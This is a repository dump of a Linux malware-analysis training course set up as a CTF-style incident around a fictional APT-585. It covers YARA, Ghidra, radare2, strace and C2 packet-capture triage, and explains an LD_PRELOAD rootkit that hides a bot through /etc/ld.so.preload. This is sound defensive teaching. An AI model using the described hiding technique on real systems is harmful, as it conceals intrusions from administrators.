37 | 38 | 39 | ## Yara - Has anyone seen this before? 40 | It's far too time consuming to manually analyze every single suspicious sample that 41 | comes into your life. Stand on the shoulders of giants and leverage YARA rules to help quickly triage 42 | things that may be interesting/important to dive into. When leveraging automated tools for analysis consider their limitations. 43 | For example, are the YARA rules you're using from a well known repo or just something random you found on the internet? 44 | 45 | 46 | ``` sh 47 | $> yara ./rules/index.yar DOWNLOADED_MALWARE_DIR/ 48 | ``` 49 | 50 | * Did anything hit on a yara rule? 51 | * What what the yara rule? 52 |
Post-Yara execution 53 | ldpreload malware//libd.so 54 | BLOWFISH_Constants malware//kauditdd.x64 55 | MD5_Constants malware//kauditdd.x64 56 | SHA512_Constants malware//kauditdd.x64 57 | SHA2_BLAKE2_IVs malware//kauditdd.x64 58 | WHIRLPOOL_Constants malware//kauditdd.x64 59 | BLOWFISH_Constants malware//kauditdd.arm64 60 | SHA2_BLAKE2_IVs malware//kauditdd.arm64 61 |
62 | 63 | Yara has numerous CLI arguments to provide more information on "hits". 64 | 65 | ```-S``` will print the matching strings to give you more insight into WHY something matched. Re-execute as follows: 66 | 67 | ``` sh 68 | $> yara -S ./rules/index.yar DOWNLOADED_MALWARE_DIR/ 69 | ``` 70 | 71 | ## Ghidra Triage 72 | Before loading the binary into Ghidra, let's run strings on the binary. 73 | Are there anything that indicates we'd have issues in loading and analyzing the binary? 74 | If so, how do we fix this? 75 | 76 |
Answer: Fixing the binary to be loaded 77 | * Yes!, binary is packed with UPX. Running strings will show "UPX!" in the output, but loading the binary 78 | would also show this into two segments. For more info on identifying UPX packed executables checkout [this blog](https://www.archcloudlabs.com/projects/ghidra_scripting_01/). 79 | To unpack the binary, execute: 80 | 81 | ``` sh 82 | $> upx -d name_of_binary.bin 83 | ``` 84 |
85 | 86 | Now, load the binary into Ghidra and let's find main! 87 | Referencing the slides, remember the sequence is: 88 | 1. find ```entry``` within the symbol tree. 89 | 2. find ```__libc_start_main``` within entry, and the first argument is the main function. 90 | Dive into the __libc_start_main structure [here](https://refspecs.linuxfoundation.org/LSB_2.0.1/LSB-Core/LSB-Core/baselib---libc-start-main-.html). 91 | * Are there any interesting strings in this main function? 92 | 3. From what we discussed in the course, "clean up" main's decompilation and try to identify interesting strings. 93 | 94 | ## Investigating Shared Objects 95 | The tar ball discovered on the attacker's infrastructure has a "libd.so" file, executing ```file libd.so``` shows that is indeed a 64 bit shared object file. While we could use Ghidra to analyze the shared object, we'll use this scenario to leverage ```radare2``` for triage. Shared Objects are ELF binaries that contain additional functionality that is leveraged by other executables at runtime. Shared Objects export functions for other libraries to use. However, just because a file is a Shared Object doesn't mean that ALL functions are exported for external use. These are referred to as "private functions" To see what functions are being exported execute the following: 96 | 97 | ``` sh 98 | $> r2 libd.so 99 | [0x00001120]> iE 100 | [Exports] 101 | 102 | nth paddr vaddr bind type size lib name 103 | ――――――――――――――――――――――――――――――――――――――――――――――――――― 104 | 19 0x000013d2 0x000013d2 GLOBAL FUNC 276 readdir64 105 | 20 0x000014e6 0x000014e6 GLOBAL FUNC 276 readdir 106 | 107 | [0x00001120]> q 108 | ``` 109 | 110 | we see readdir and readdir64 being exported. Look up these syscalls (```man readdir```) and familiarize yourself with their functionality. What do they do normally, and how could they be abused by an attacker? Was there any indication of how libd.so was being used in the attacker's kill chain? What type of attack is this? 111 | Before looking at the answer, load libd.so into Ghdira, and try to identify whatelse the libd.so file is doing. 112 | 113 |
Answer: libd.so triage 114 | 115 | The ```gplatepwn.sh``` script has an entry of echoing the path to "libd.so" into /etc/ld.so.preload prior to execution. Examining the disassembly, you'll discover the filename 116 | that's being hidden. The goal of the Shared Object is to hide the bot when users list contents of directories which has a file name of "kauditdd". This is accomplished via a classic [LD_PRELOAD](https://attack.mitre.org/techniques/T1574/006/) attack. To experiment with this on your own, check out the following [repo](https://github.com/gianlucaborello/libprocesshider). 117 | 118 | ![proc-to-filter](./.imgs/process_to_filter.png) 119 | 120 |
121 | 122 | 123 | ## Tracing Applications w/ strace 124 | *Note this is DYNAMIC execution, you're going to be running the application!* 125 | **DO NOT DO THIS ON REAL SYSTEMS** 126 | 127 | Let's find out where this binary tries to connect out to. While we could simply open up wireshark we're going to use strace to trace syscalls and discover outbound connections. 128 | The strace utility as discussed is a very powerful utility 129 | * [ ] to see the syscalls a binary is making. In this example we'll show how to use strace to reveal the outbound network connection. 130 | 131 | ``` sh 132 | $> strace -ff -o strace.log ./binary_of_interest 133 | ``` 134 | 135 | If the binary forks and creates a child process, a new file will be created with the name of "strace.log.". 136 | Where is the pid of the newly created child process. After letting the program run, execute ctrl+c 137 | and take a look at the logs. Can you identify the outbound C2 server based on the syscalls? 138 | 139 | 140 | ## Bonus Round: OSINT Artifact Hunting 141 |
Spoiler - open after finishing previous tasks 142 | Investigate the Python script from the apt585/apache container. 143 | Does OSINT research lead you to what framework it's come from? 144 | 145 | * What about the libd.so file? 146 | 147 | * What about the kauditdd file? 148 | 149 |
150 | 151 | -------------------------------------------------------------------------------- /03_Binary_Triage/malware.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/archcloudlabs/BSidesRoc2022_Linux_Malware_Analysis_Course/509791cc4a6e687a7520de0d359dec980b4a0966/03_Binary_Triage/malware.zip -------------------------------------------------------------------------------- /04_Network_Analysis/.gitkeep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/archcloudlabs/BSidesRoc2022_Linux_Malware_Analysis_Course/509791cc4a6e687a7520de0d359dec980b4a0966/04_Network_Analysis/.gitkeep -------------------------------------------------------------------------------- /04_Network_Analysis/README.md: -------------------------------------------------------------------------------- 1 | ## Network Investigation - Mapping out Attacker Infrastructure 2 | From all of the artifacts we've gathered so far, map out the attacker's infrastructure. 3 | What are the domains to search for in your SIEM to see if there's any additional malicious activity? 4 | 5 | 6 | ## Hunting Post-Comrpomise Activity 7 | One of our network sensors caught the execution of APT585's bot. Can you take a look at the packet capture, and see if you can figure out what happened? 8 | 9 |
Network Investigation 10 | Right click on IRC traffic and select follow. This will decode the plaintext exchange of information. 11 |
12 | 13 | 14 | 15 | ## Recreating The Activity 16 | 17 | Create a dummy interface with the IP address of the C2 server the malware connects to. If the 18 | malware connects to a domain name, modify ```/etc/hosts``` to have the domain be the new IP address of your dummy interface. 19 | 20 | Next, setup the appropriate server to get the bot to connect. 21 | -------------------------------------------------------------------------------- /04_Network_Analysis/c2-capture.pcapng: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/archcloudlabs/BSidesRoc2022_Linux_Malware_Analysis_Course/509791cc4a6e687a7520de0d359dec980b4a0966/04_Network_Analysis/c2-capture.pcapng -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | 2 | Apache License 3 | Version 2.0, January 2004 4 | http://www.apache.org/licenses/ 5 | 6 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 7 | 8 | 1. Definitions. 9 | 10 | "License" shall mean the terms and conditions for use, reproduction, 11 | and distribution as defined by Sections 1 through 9 of this document. 12 | 13 | "Licensor" shall mean the copyright owner or entity authorized by 14 | the copyright owner that is granting the License. 15 | 16 | "Legal Entity" shall mean the union of the acting entity and all 17 | other entities that control, are controlled by, or are under common 18 | control with that entity. For the purposes of this definition, 19 | "control" means (i) the power, direct or indirect, to cause the 20 | direction or management of such entity, whether by contract or 21 | otherwise, or (ii) ownership of fifty percent (50%) or more of the 22 | outstanding shares, or (iii) beneficial ownership of such entity. 23 | 24 | "You" (or "Your") shall mean an individual or Legal Entity 25 | exercising permissions granted by this License. 26 | 27 | "Source" form shall mean the preferred form for making modifications, 28 | including but not limited to software source code, documentation 29 | source, and configuration files. 30 | 31 | "Object" form shall mean any form resulting from mechanical 32 | transformation or translation of a Source form, including but 33 | not limited to compiled object code, generated documentation, 34 | and conversions to other media types. 35 | 36 | "Work" shall mean the work of authorship, whether in Source or 37 | Object form, made available under the License, as indicated by a 38 | copyright notice that is included in or attached to the work 39 | (an example is provided in the Appendix below). 40 | 41 | "Derivative Works" shall mean any work, whether in Source or Object 42 | form, that is based on (or derived from) the Work and for which the 43 | editorial revisions, annotations, elaborations, or other modifications 44 | represent, as a whole, an original work of authorship. For the purposes 45 | of this License, Derivative Works shall not include works that remain 46 | separable from, or merely link (or bind by name) to the interfaces of, 47 | the Work and Derivative Works thereof. 48 | 49 | "Contribution" shall mean any work of authorship, including 50 | the original version of the Work and any modifications or additions 51 | to that Work or Derivative Works thereof, that is intentionally 52 | submitted to Licensor for inclusion in the Work by the copyright owner 53 | or by an individual or Legal Entity authorized to submit on behalf of 54 | the copyright owner. For the purposes of this definition, "submitted" 55 | means any form of electronic, verbal, or written communication sent 56 | to the Licensor or its representatives, including but not limited to 57 | communication on electronic mailing lists, source code control systems, 58 | and issue tracking systems that are managed by, or on behalf of, the 59 | Licensor for the purpose of discussing and improving the Work, but 60 | excluding communication that is conspicuously marked or otherwise 61 | designated in writing by the copyright owner as "Not a Contribution." 62 | 63 | "Contributor" shall mean Licensor and any individual or Legal Entity 64 | on behalf of whom a Contribution has been received by Licensor and 65 | subsequently incorporated within the Work. 66 | 67 | 2. Grant of Copyright License. Subject to the terms and conditions of 68 | this License, each Contributor hereby grants to You a perpetual, 69 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 70 | copyright license to reproduce, prepare Derivative Works of, 71 | publicly display, publicly perform, sublicense, and distribute the 72 | Work and such Derivative Works in Source or Object form. 73 | 74 | 3. Grant of Patent License. Subject to the terms and conditions of 75 | this License, each Contributor hereby grants to You a perpetual, 76 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 77 | (except as stated in this section) patent license to make, have made, 78 | use, offer to sell, sell, import, and otherwise transfer the Work, 79 | where such license applies only to those patent claims licensable 80 | by such Contributor that are necessarily infringed by their 81 | Contribution(s) alone or by combination of their Contribution(s) 82 | with the Work to which such Contribution(s) was submitted. If You 83 | institute patent litigation against any entity (including a 84 | cross-claim or counterclaim in a lawsuit) alleging that the Work 85 | or a Contribution incorporated within the Work constitutes direct 86 | or contributory patent infringement, then any patent licenses 87 | granted to You under this License for that Work shall terminate 88 | as of the date such litigation is filed. 89 | 90 | 4. Redistribution. You may reproduce and distribute copies of the 91 | Work or Derivative Works thereof in any medium, with or without 92 | modifications, and in Source or Object form, provided that You 93 | meet the following conditions: 94 | 95 | (a) You must give any other recipients of the Work or 96 | Derivative Works a copy of this License; and 97 | 98 | (b) You must cause any modified files to carry prominent notices 99 | stating that You changed the files; and 100 | 101 | (c) You must retain, in the Source form of any Derivative Works 102 | that You distribute, all copyright, patent, trademark, and 103 | attribution notices from the Source form of the Work, 104 | excluding those notices that do not pertain to any part of 105 | the Derivative Works; and 106 | 107 | (d) If the Work includes a "NOTICE" text file as part of its 108 | distribution, then any Derivative Works that You distribute must 109 | include a readable copy of the attribution notices contained 110 | within such NOTICE file, excluding those notices that do not 111 | pertain to any part of the Derivative Works, in at least one 112 | of the following places: within a NOTICE text file distributed 113 | as part of the Derivative Works; within the Source form or 114 | documentation, if provided along with the Derivative Works; or, 115 | within a display generated by the Derivative Works, if and 116 | wherever such third-party notices normally appear. The contents 117 | of the NOTICE file are for informational purposes only and 118 | do not modify the License. You may add Your own attribution 119 | notices within Derivative Works that You distribute, alongside 120 | or as an addendum to the NOTICE text from the Work, provided 121 | that such additional attribution notices cannot be construed 122 | as modifying the License. 123 | 124 | You may add Your own copyright statement to Your modifications and 125 | may provide additional or different license terms and conditions 126 | for use, reproduction, or distribution of Your modifications, or 127 | for any such Derivative Works as a whole, provided Your use, 128 | reproduction, and distribution of the Work otherwise complies with 129 | the conditions stated in this License. 130 | 131 | 5. Submission of Contributions. Unless You explicitly state otherwise, 132 | any Contribution intentionally submitted for inclusion in the Work 133 | by You to the Licensor shall be under the terms and conditions of 134 | this License, without any additional terms or conditions. 135 | Notwithstanding the above, nothing herein shall supersede or modify 136 | the terms of any separate license agreement you may have executed 137 | with Licensor regarding such Contributions. 138 | 139 | 6. Trademarks. This License does not grant permission to use the trade 140 | names, trademarks, service marks, or product names of the Licensor, 141 | except as required for reasonable and customary use in describing the 142 | origin of the Work and reproducing the content of the NOTICE file. 143 | 144 | 7. Disclaimer of Warranty. Unless required by applicable law or 145 | agreed to in writing, Licensor provides the Work (and each 146 | Contributor provides its Contributions) on an "AS IS" BASIS, 147 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or 148 | implied, including, without limitation, any warranties or conditions 149 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A 150 | PARTICULAR PURPOSE. You are solely responsible for determining the 151 | appropriateness of using or redistributing the Work and assume any 152 | risks associated with Your exercise of permissions under this License. 153 | 154 | 8. Limitation of Liability. In no event and under no legal theory, 155 | whether in tort (including negligence), contract, or otherwise, 156 | unless required by applicable law (such as deliberate and grossly 157 | negligent acts) or agreed to in writing, shall any Contributor be 158 | liable to You for damages, including any direct, indirect, special, 159 | incidental, or consequential damages of any character arising as a 160 | result of this License or out of the use or inability to use the 161 | Work (including but not limited to damages for loss of goodwill, 162 | work stoppage, computer failure or malfunction, or any and all 163 | other commercial damages or losses), even if such Contributor 164 | has been advised of the possibility of such damages. 165 | 166 | 9. Accepting Warranty or Additional Liability. While redistributing 167 | the Work or Derivative Works thereof, You may choose to offer, 168 | and charge a fee for, acceptance of support, warranty, indemnity, 169 | or other liability obligations and/or rights consistent with this 170 | License. However, in accepting such obligations, You may act only 171 | on Your own behalf and on Your sole responsibility, not on behalf 172 | of any other Contributor, and only if You agree to indemnify, 173 | defend, and hold each Contributor harmless for any liability 174 | incurred by, or claims asserted against, such Contributor by reason 175 | of your accepting any such warranty or additional liability. 176 | 177 | END OF TERMS AND CONDITIONS 178 | 179 | APPENDIX: How to apply the Apache License to your work. 180 | 181 | To apply the Apache License to your work, attach the following 182 | boilerplate notice, with the fields enclosed by brackets "[]" 183 | replaced with your own identifying information. (Don't include 184 | the brackets!) The text should be enclosed in the appropriate 185 | comment syntax for the file format. We also recommend that a 186 | file or class name and description of purpose be included on the 187 | same "printed page" as the copyright notice for easier 188 | identification within third-party archives. 189 | 190 | Copyright 2022 Arch Cloud Labs 191 | 192 | Licensed under the Apache License, Version 2.0 (the "License"); 193 | you may not use this file except in compliance with the License. 194 | You may obtain a copy of the License at 195 | 196 | http://www.apache.org/licenses/LICENSE-2.0 197 | 198 | Unless required by applicable law or agreed to in writing, software 199 | distributed under the License is distributed on an "AS IS" BASIS, 200 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 201 | See the License for the specific language governing permissions and 202 | limitations under the License. 203 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ![logo](./.imgs/logo.png) 2 | ## About The Course 3 | According to [recent industry reports](https://www.bleepingcomputer.com/news/security/linux-malware-sees-35-percent-growth-during-2021/), Linux focused malware has grown in the past year by over 30%. With the rise in Cloud Computing it’s no surprised that attackers are looking beyond traditional Windows environments to profit off of illicit access. This course was given at [BSides Roc 2022](https://bsidesroc.com/) in order to provide students with a broad exposure of techniques and tools to identify, triage and analyze a faux-incident in a CTF style event. 4 | 5 | * A Vagrant file is included in the courses which covers module 01 and 02. Modules 03 and 04 require a GUI, and installing XFCE within the VM caused issues when testing. 6 | * If you have a Linux VM, simply install [Ghidra](https://ghidra-sre.org) and [Cutter](https://cutter.re) and you'll be good to go. 7 | 8 | 9 | Note, all files are now included in the git repo itself and you do not need to obtain the malware 10 | from the servers listed in the repos. 11 | 12 | ## Disclaimer 13 | These are **real** modified malware samples! Do NOT run them unless you are absolutely sure of what you are doing! 14 | Arch Cloud Labs is not responsible for any damages. 15 | 16 | 17 | ### Threat Intel Brieifing on APT-585 18 | Threat Actor(s) APT-585 leverage known exploits and modified offensive security tools to 19 | obtain access to victims environments for Cryptocurrency and ransomware attacks. Specifically targeting 20 | web servers and vulnerable web applications. 21 | 22 | APT-585 leverages leased infrastructure from popular cloud providers to stage capabilities to bring into victims 23 | environments. Their leader is unknown, but historically poor opsec has led to the takedown of domains. It's likely their sloppy tactics will lead to revealing themselves. 24 | 25 | 26 | ## Special Thanks 27 | Thank you to the [Digitial Corpora](https://digitalcorpora.org/) project for hosting forensic images for 28 | forensic education! 29 | ``` 30 | Garfinkel, Farrell, Roussev and Dinolt, Bringing Science to Digital Forensics with Standardized Forensic Corpora, DFRWS 2009, Montreal, Canada. 31 | ``` 32 | --------------------------------------------------------------------------------